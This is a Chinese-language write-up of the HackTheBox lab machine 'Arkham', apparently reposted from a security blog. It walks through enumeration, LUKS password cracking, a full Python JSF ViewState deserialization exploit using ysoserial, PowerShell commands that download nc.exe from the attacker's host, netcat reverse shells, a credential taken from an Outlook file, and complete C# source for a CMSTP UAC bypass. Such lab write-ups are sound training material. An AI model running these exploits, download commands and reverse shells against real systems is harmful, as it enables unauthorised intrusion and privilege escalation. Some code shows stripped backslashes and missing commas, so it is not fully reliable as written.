HTB: Arkham

admin 2022年1月9日20:49:54评论58 views字数 13320阅读44分24秒阅读模式

Arkham是一个中等难度的靶机,但是它的难度可以和困难相媲美。其中涉及了lucks解密、JSF ViewState反序列化、ost邮件分析、UAC绕过等相关知识。ViewState反序列化漏洞让我学到了很多,虽然其中的数据是加密的,但是它提供了一个用于执行攻击的密钥使得我能够成功获取shell,上线后在电子邮件中找到了管理员密码,需要绕过UAC限制拿到最后的flag。感兴趣的同学可以在HackTheBox中进行学习。

截屏2021-12-15 下午2.38.20

0x01 侦查

端口扫描

使用 nmap 对目标进行端口扫描

nmap -Pn -p- -sV -sC -A 10.10.10.130 -oA nmap_Arkham

通过 nmap 的扫描结果可以发现目标开放了80、135、139、445、8080端口

80端口

80端口为 IIS 默认界面,使用 gobuster 进行目录扫描

gobuster dir -u http://10.10.10.130 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50
截屏2021-12-15 下午3.39.43

但是并没有扫描到什么有价值的目录

8080端口

页面显示这是一家名为 Mask 的公司,主要业务为数据保护。使用 gobuster 进行目录扫描

gobuster dir -u http://10.10.10.130:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50

也没有发现什么有用的目录,查看网站可以在订阅中发现一个交互点输入 mac 会给你一个返回信息

445端口

使用 smbclient 查看当前共享

smbclient -N -L //10.10.10.130

也可以使用 smbmap 进行扫描,但是获取到的信息并没有很多

smbmap -H 10.10.10.130
截屏2021-12-17 下午4.49.55

Users 查看 Users 共享

smbclient //10.10.10.130/users
截屏2021-12-17 下午4.53.07

BatShare 查看 BatShare 共享

smbclient //10.10.10.130/batshare
smb > get appserver.zip

通过对 Users 以及 BatShare 共享的探索我们发现 Users 中只存放了一些默认用户和访客用户的文件,而 BatShare 中包含了一个压缩包appserver.zip同时将其下载下来

lucks映像

将下载下来的压缩包解压

unzip appserver.zip

其中包含一个文本和一个加密的磁盘映像

爆破lucks密码

LUCKS 是 linux 硬盘加密的标准,如果我要访问里面的文件,必须先找到其中的密码。使用 bruteforce-luks 对密码进行爆破

apt install bruteforce-luks
cat /usr/share/wordlists/rockyou.txt | grep batman > test.txt
bruteforce-luks -t 10 -f test.txt backup.img -v 60

成功跑出密码为:batmanforver

挂载磁盘映像

使用 cryptsetup 打开文件

cryptsetup open --type luks backup.img arkham

查看驱动发现一个新设备

ls -l /dev/mapper/
截屏2021-12-17 下午5.39.13

挂载新设备到 Arkham 目录下

mount /dev/mapper/arkham ~/hackthebox/Machines/Arkham/mnt/
截屏2021-12-17 下午5.40.14

开始对目录中的文件进行枚举

find ~/hackthebox/Machines/Arkham/mnt/ -type f

其中包括蝙蝠侠的图片和 tomcat-stuff 文件夹,通过对其中各个文件的筛查,我们在 web.xml.bak 中发现了有趣的东西根据以上配置文件我们可以在发现如下信息

该站点会匹配 *.faces 来调用 servlet
myfaces  SECRET  SnNGOTg3Ni0=
HmacSHA1  SECRET  SnNGOTg3Ni0=
SnNGOTg3Ni0= 经过解码后为 JsF9876-
JSF 版本为 2.5.2 

0x02 JSF反序列化上线[Alfred]

JSF ViewState反序列化漏洞

JSF 框架主要使用序列化来保持站点的状态,它会帮助服务器序列化一个 Java 对象,并将其作为网页中的隐藏字段发送到客户端,当客户端提交时该序列化对象被发送回服务器,服务器可以使用它来取回状态。反序列化漏洞是允许用户提交序列化对象,如果序列化对象包含恶意代码,那么在反序列化过程中就会运行。从而用户可以控制输入来获取执行权限。

通过以上介绍和分析,我们可以推测该站点可能存在反序列化漏洞,那么如何来验证该漏洞呢?可采取以下思路

1、测试提交错误的 ViewState 会发生什么?
2、解密 ViewState 变量来显示我的加密密钥有效
3、构建脚本加密好的 ViewState 并进行提交
4、使用 ysoserial 来生成 payload,它可以使用脚本中的 ViewState  ping 主机
5、更新 payload 获取反弹shell

找到之前的订阅栏目,使用 BurpSuite 将数据包拦截,具体数据包如下将 javax.faces.ViewState 参数的值的第一个字符从 w 字符修改为 W 字符,查看页面报错信息返回信息提示No Saved view state could be found for the view identifier,这说明修改是有效的

探索ViewState

我们可以抓取到 javax.faces.ViewState 参数的值如下

javax.faces.ViewState=wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D

通过 python 代码来获取其中的字节流

from base64 import b64decode
from urllib.parse import unquote_plus as urldecode

vs = 'wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D'
vs_urldecode = urldecode(vs)
print(vs_urldecode)
vs_bs64decode = b64decode(vs_urldecode)
print(vs_bs64decode)
截屏2021-12-18 下午8.09.27

这是加密的字节流,我们需要通过解密来获取其中的信息。SHA1的长度通常为20字节,很可能附加到首位或末尾。经过测试 HMAC 存储在最后20字节中

from base64 import b64decode
from urllib.parse import unquote_plus as urldecode
from hashlib import sha1
import hmac

vs = 'wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D'
vs_urldecode = urldecode(vs)
vs_bs64decode = b64decode(vs_urldecode)
mac = vs_bs64decode[-20:]
enc = vs_bs64decode[:-20]
enc_hmac = hmac.new(b'JsF9876-', enc, sha1).digest()
print(mac)
print(enc_hmac)

目前已知加密方式、加密位置以及密钥,接下来就可以解密这串值

from base64 import b64decode
from urllib.parse import unquote_plus as urldecode
from Crypto.Cipher import DES

vs = 'wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D'
vs_urldecode = urldecode(vs)
vs_bs64decode = b64decode(vs_urldecode)
enc = vs_bs64decode[:-20]
d = DES.new(b'JsF9876-', DES.MODE_ECB)
print(d.decrypt(enc))

经过解密后出现字符串说明解密确实是正确的

使用 ysoserial 来生成 ping 命令的 payload

java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar BeanShell1 'ping 10.10.14.14' > text

生成成功,但是我需要将其放入 python 脚本当中进行调用

安装模块 pip install pycryptodome

import requests
import subprocess
import sys
from base64 import b64encode
from Crypto.Cipher import DES
from Crypto.Hash import SHA, HMAC
from os import devnull
from urllib.parse import quote_plus as urlencode


with open(devnull, 'w'as null:
    payload = subprocess.check_output(['java''-jar''/root/hackthebox/Machines/Arkham/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', sys.argv[1], sys.argv[2]], stderr=null)

pad = (8 - (len(payload) % 8)) % 8
padded = payload + (chr(pad)*pad).encode()

d = DES.new(b'JsF9876-', DES.MODE_ECB)
enc_payload = d.encrypt(padded)
sig = HMAC.new(b'JsF9876-', enc_payload, SHA).digest()
viewstate = b64encode(enc_payload + sig)

sess = requests.session()
sess.get('http://10.10.10.130:8080/userSubscribe.faces')
resp = sess.post('http://10.10.10.130:8080/userSubscribe.faces',
        data = {'j_id_jsp_1623871077_1%3Aemail''d',
                'j_id_jsp_1623871077_1%3Asubmit''SIGN+UP',
                'j_id_jsp_1623871077_1_SUBMIT''1',
                'javax.faces.ViewState': viewstate})

启动本地监听

tcpdump -i tun0 icmp

使用脚本执行 ping 命令

python3 exploit.py BeanShell1 'ping 10.10.14.14'

成功收到 ping 命令,反序列化漏洞验证成功

获取shell

为了获取目标站点的shell,我们把 nc64.exe 放在本目录下并开启 http 服务

python -m SimpleHTTPServer 80

在本地开启监听,接收反弹shell

rlwrap nc -nvlp 443 

这里需要在 exploit.py 进行略微修改,源码如下

#!/usr/bin/env python3

import requests
import subprocess
import sys
from base64 import b64encode
from Crypto.Cipher import DES
from Crypto.Hash import SHA, HMAC
from os import devnull
from urllib.parse import quote_plus as urlencode


with open(devnull, 'w'as null:
    payload = subprocess.check_output(['java''-jar''/root/hackthebox/Machines/Arkham/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar''CommonsCollections5', sys.argv[1]], stderr=null)

pad = (8 - (len(payload) % 8)) % 8
padded = payload + (chr(pad)*pad).encode()

d = DES.new(b'JsF9876-', DES.MODE_ECB)
enc_payload = d.encrypt(padded)
sig = HMAC.new(b'JsF9876-', enc_payload, SHA).digest()
viewstate = b64encode(enc_payload + sig)

sess = requests.session()
sess.get('http://10.10.10.130:8080/userSubscribe.faces')
resp = sess.post('http://10.10.10.130:8080/userSubscribe.faces',
        data = {'j_id_jsp_1623871077_1%3Aemail''d',
                'j_id_jsp_1623871077_1%3Asubmit''SIGN+UP',
                'j_id_jsp_1623871077_1_SUBMIT''1',
                'javax.faces.ViewState': viewstate})

执行以下命令上传 nc 并使用 nc 连接本地443端口

python3 exploit2.py "powershell -c Invoke-Webrequest -uri 'http://10.10.14.14/nc64.exe' -outfile windowssystem32spooldriverscolornc.exe"
python3 exploit2.py "windowssystem32spooldriverscolornc.exe -e cmd 10.10.14.14 443"

成功收到反弹shell

读取user.txt

在 Alfred 的桌面上找到flag

dir C:UsersAlfredDesktop
type C:UsersAlfredDesktopuser.txt

成功拿到第一个flag

0x03 权限提升[batman]

获得密码

在主目录下枚举关键文件

dir /s /b /a:-d-h Usersalfred | findstr /i /v "appdata"

发现 backup.zip,我们需要将其下载到本地。借助 smbserver 来建立 smb 共享,同时设置账号密码,否则无法连接

python3 smbserver.py -smb2support -username mac -password mac share /root/hackthebox/Machines/Arkham/

在靶机上复制 backup.zip 到本机目录下

net use \10.10.14.14share /u:mac mac
copy C:UsersAlfredDownloadsbackupsbackup.zip \10.10.14.14share

解压该文件,里面包含一个 ost 文件,是 Microsoft Outlook 的脱机文件夹文件

unzip -l backup.zip
截屏2021-12-20 上午3.54.09

借助 readpst 来进行解析,该工具可以用来解析.pst.ost文件

readpst [email protected]

解压完成是一个.mbox文件,这是一种电子邮件邮箱文件格式,可在单个文件中存储多条消息并将其作为文本。使用 mutt 来打开它

mutt -R -f Drafts.mbox

这是一封给 batman 的邮件,翻到最后存在一个附件通过 v 来查看附件成功获取到账号密码为:batman/Zx^#QZX+T!123

获取shell

进入 powershell 来制作凭据

powershell
$username = 'batman'
$password = 'Zx^#QZX+T!123'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username$securePassword

建立凭据后开启监听2222端口,之后执行命令以 batman 身份反弹shell

Invoke-command -computername ARKHAM -credential $credential -scriptblock { cmd.exe /c "C:windowssystem32spooldriverscolornc.exe" -e cmd.exe 10.10.14.14 2222 } 

成功获得shell

0x04 UAC绕过

受限环境

查看当前用户权限

net user batman

该用户拥有管理员和远程管理员权限,但是读取 root.txt 时无法访问 administrator 的桌面

dir c:UsersadministratorDesktop
type c:UsersadministratorDesktoproot.txt

查询权限,判断当前环境为受限状态且 UAC 状态已经启用

通过本地共享读取root.txt

type \localhostc$usersadministratordesktoproot.txt

成功拿到第二个flag

借助msf绕过UAC读取root.txt

建立meterpreter会话

由于绕过大多数 UAC 都需要交互过程,使用 msf 能够有效帮助我们绕过 UAC。借助 GreatSCT 来获取一个 meterpreter 工具地址:https://github.com/GreatSCT/GreatSCT

cd setup
./setup.sh

建立完成后,使用 GreatSCT.py 查看相关命令

python3 GreatSCT.py

使用 bypass

use bypass

查看反弹脚本

list

使用msbuild/meterpreter/rev_tcp.py设置 tcp 监听

use msbuild/meterpreter/rev_tcp.py
截屏2021-12-20 上午5.15.13

设置本地IP和端口

set LHOST 10.10.14.14
set LPORT 4444
截屏2021-12-20 上午5.16.17
generate
##输入arkham

成功生成 arkham.xml 、arkham.rc,这两个文件有不同的作用。arkham.xml 用于在 windows 中反弹 meterpreter,arkham.rc 用于在 msf 中直接配置监听

使用 msfconsole 加载 rc 文件并设置参数

msfconsole -r arkham.rc
截屏2021-12-20 上午5.21.19

与此同时将 xml 文件移动到目标靶机上

cd UsersBatmanappdatalocaltemp
net use \10.10.14.14share /u:mac mac
copy \10.10.14.14sharearkham.xml C:UsersBatmanappdatalocaltemp
截屏2021-12-20 上午5.24.19

运行 msbuild 获取 meterpreter 会话

WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe UsersBatmanappdatalocaltemparkham.xml

在 msf 中成功返回会话

CMSTP UAC绕过

参考文章:https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html

/* 
UAC Bypass using CMSTP.exe microsoft binary

Based on previous work from Oddvar Moe
https://oddvar.moe/2017/08/15/research-on-cmstp-exe/

And this PowerShell script of Tyler Applebaum
https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1

Code author: Andre Marques (@_zc00l)
*/

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Windows;
using System.Runtime.InteropServices;

public class CMSTPBypass
{
    // Our .INF file data!
    public static string InfData = @"[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
REPLACE_COMMAND_LINE
taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7

[AllUSer_LDIDSection]
"
"HKLM"", ""SOFTWAREMicrosoftWindowsCurrentVersionApp PathsCMMGR32.EXE"", ""ProfileInstallPath"", ""%UnexpectedError%"", """"

[Strings]
ServiceName="
"CorpVPN""
ShortSvcName="
"CorpVPN""

"
;

    [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);

    public static string BinaryPath = "c:\windows\system32\cmstp.exe";

    /* Generates a random named .inf file with command to be executed with UAC privileges */
    public static string SetInfFile(string CommandToExecute)
    
{
        string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0];
        string TemporaryDir = "C:\windows\temp";
        StringBuilder OutputFile = new StringBuilder();
        OutputFile.Append(TemporaryDir);
        OutputFile.Append("\");
        OutputFile.Append(RandomFileName);
        OutputFile.Append(".inf");
        StringBuilder newInfData = new StringBuilder(InfData);
        newInfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
        File.WriteAllText(OutputFile.ToString(), newInfData.ToString());
        return OutputFile.ToString();
    }

    public static bool Execute(string CommandToExecute)
    
{
        if(!File.Exists(BinaryPath))
        {
            Console.WriteLine("Could not find cmstp.exe binary!");
            return false;
        }
        StringBuilder InfFile = new StringBuilder();
        InfFile.Append(SetInfFile(CommandToExecute));

        Console.WriteLine("Payload file written to " + InfFile.ToString());
        ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath);
        startInfo.Arguments = "/au " + InfFile.ToString();
        startInfo.UseShellExecute = false;
        Process.Start(startInfo);

        IntPtr windowHandle = new IntPtr();
        windowHandle = IntPtr.Zero;
        do {
            windowHandle = SetWindowActive("cmstp");
        } while (windowHandle == IntPtr.Zero);

        System.Windows.Forms.SendKeys.SendWait("{ENTER}");
        return true;
    }

    public static IntPtr SetWindowActive(string ProcessName)
    
{
        Process[] target = Process.GetProcessesByName(ProcessName);
        if(target.Length == 0return IntPtr.Zero;
        target[0].Refresh();
        IntPtr WindowHandle = new IntPtr();
        WindowHandle = target[0].MainWindowHandle;
        if(WindowHandle == IntPtr.Zero) return IntPtr.Zero;
        SetForegroundWindow(WindowHandle);
        ShowWindow(WindowHandle, 5);
        return WindowHandle;
    }
}

查看交互进程explore.exe,并将当前进程迁移到对应的进程号中

ps -S explore
migrate 4824

将上面的 C-Sharp 源码命名为 Source.cs,通过 powershell 编译为 dll 文件

load powershell
powershell_shell
cd UsersBatmanappdatalocaltemp
iwr -uri 10.10.14.14/Source.cs -outfile Source.cs
Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwdSource.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "CMSTP-UAC-Bypass.dll"

将该 dll 加载到内存中

[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwdCMSTP-UAC-Bypass.dll"))

在本地开启 nc 监听,可以调用导出的函数执行反弹shell

[CMSTPBypass]::Execute("C:windowsSystem32spooldriverscolornc.exe -e cmd 10.10.14.14 7777")
截屏2021-12-20 上午5.41.02

在本地获取到反弹shell

查看权限以及对应flag

whoami /priv
截屏2021-12-20 上午5.42.49
dir c:UsersadministratorDesktop
type c:UsersadministratorDesktoproot.txt
截屏2021-12-20上午5.43.06

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月9日20:49:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB: Arkhamhttps://cn-sec.com/archives/729045.html

发表评论

匿名网友 填写信息